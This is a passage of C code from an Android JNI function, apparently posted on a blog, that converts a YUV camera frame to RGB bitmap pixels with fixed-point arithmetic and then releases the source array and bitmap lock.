
// Processes each pixel and converts YUV to RGB color.

for (lY = 0, lYIndex = 0; lY < lBitmapInfo.height; ++lY) {

lColorU = 0; lColorV = 0;

// Y is divided by 2 because UVs are subsampled vertically.

// This means that two consecutives iterations refer to the

// same UV line (e.g when Y=0 and Y=1).

lUVIndex = lFrameSize + (lY >> 1) * lBitmapInfo.width;


for (lX = 0; lX < lBitmapInfo.width; ++lX, ++lYIndex) {

// Retrieves YUV components. UVs are subsampled

// horizontally too, hence %2 (1 UV for 2 Y).

lColorY = max(toInt(lSource[lYIndex]) - 16, 0);

if (!(lX % 2)) {

lColorV = toInt(lSource[lUVIndex++]) - 128;

lColorU = toInt(lSource[lUVIndex++]) - 128;

}

// Computes R, G and B from Y, U and V.

y1192 = 1192 * lColorY;

lColorR = (y1192 + 1634 * lColorV);

lColorG = (y1192 - 833 * lColorV - 400 * lColorU);

lColorB = (y1192 + 2066 * lColorU);

lColorR = clamp(lColorR, 0, 262143);

lColorG = clamp(lColorG, 0, 262143);

lColorB = clamp(lColorB, 0, 262143);

// Combines R, G, B and A into the final pixel color.

lBitmapContent[lYIndex] = color(lColorR,lColorG,lColorB);

}

}

LOGE(1, "**Start JNI bitmap converter %d",lColorR);


(*pEnv)-> ReleasePrimitiveArrayCritical(pEnv,pinArray,lSource,0);

AndroidBitmap_unlockPixels(pEnv, pBitmap);

LOGI(1, "end color conversion2");

}









Posted by k1rha